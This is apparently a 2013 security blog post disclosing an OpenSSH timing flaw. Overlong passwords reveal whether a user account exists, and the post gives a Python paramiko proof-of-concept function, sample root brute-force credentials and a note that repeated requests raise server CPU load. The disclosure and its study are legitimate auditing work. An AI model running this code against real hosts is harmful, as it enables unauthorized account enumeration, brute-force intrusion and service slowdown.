OpenSSH User Enumeration Time-Based Attack

OpenSSH User Enumeration Time-Based Attack

Date: 2013-07-09 08:09:21

*Update 1 (14.Juli 2013)

Seems like this Bug is related to an *unfixed* bugdescription by Marco Ivaldi in 2006, back then tested against version 4.1 of Suse Installations and given CVE-2006-5229 as reference. Find his shellscript here – thx to jericho.

You can also find a simple python script here to test for the issue, timeframe is configureable. Depending on the system ressources a successfull timerate between 5 and 20 seconds was working in most cases.


Today, we will show a bug concerning OpenSSH. OpenSSH is the most used remote control software nowadays on *nix like operating systems. Legacy claims it replaced unencrypted daemons like rcp, rsh and telnet. Find a version at: https://www.openssh.com.

By testing several OpenSSH installations we figured there is a delay of time when it comes to cracking users (not) existing on a system. A normal Brute-force-Attack tests for the correct user and password combination, usually without knowledge if the user on the system exists.

For instance, the attacker is interested in the all-mighty “root” aka “toor” account. He might go for password combinations like:

  • root:root
  • root:toor
  • root:password
  • root:system

and so on. Permanent attacks against the service normally running on Port 22/tcp implicate that Ssh-Brute-force-Attacks are still profitable. If you are an Auditor and want to check for interesting accounts it might be worthy to know which ones are available on the system to run a more focused attack.

To assist you in this issue, there is a little trick to find out a User name before trying to cracking it. To do this the length of the password needs to be increased massively. In our case we go with 39.000 characters(A’s). Trying those passwords at an existing and a non-existing account shows a quite high delay.

Let’s show some sample code:

def sshTime(self,user,tHost): host,port = tHost print "Connecting %[email protected]%s:%d " % (user,host,int(port))para = paramiko.Transport(sock) para.local_version="SSH-2.0-Blabla" try: para.connect(username=user) except EOFError,e: print "Error: %s" % e return -1 except paramiko.SSHException,e: print "Error: %s" % e return -2 #results in a long wait on sshd side, as it needs to calc the password #only if the user exists passwd = 'A'*39000 #time measurement timeStart = int(time.time()) try: para.auth_password(user,passwd) except paramiko.AuthenticationException,e: print e except paramiko.SSHException,e: print e timeDone = int(time.time()) #simple time calculation timeRes = timeDone-timeStart if timeRes > 20: print "User: %s exists" % user para.close() return else: print "User: %s not found" % user

As you can see the function “sshTime” gets a user plus host and port. The fine ssh library ‘paramiko’ is used to create a transport, defining a banner and building up the connection. The password is chosen with 39.000 A’s, password and user are sent. Now time measurement jumps in: If the answer of the daemon takes longer than the defined seconds the user exists. For using the code just add the right python indents(sorry for that).

If you are watching the sshd on the host side you will recognize a massive increase of CPU load. The load of the system will increase as the sshd tries to calculate the overlong password to compare it with the correct one. As a result a constant firing of such request slows the system down. The bug was tested on recent implementations of OpenSSH 6.x and versions of 5.x.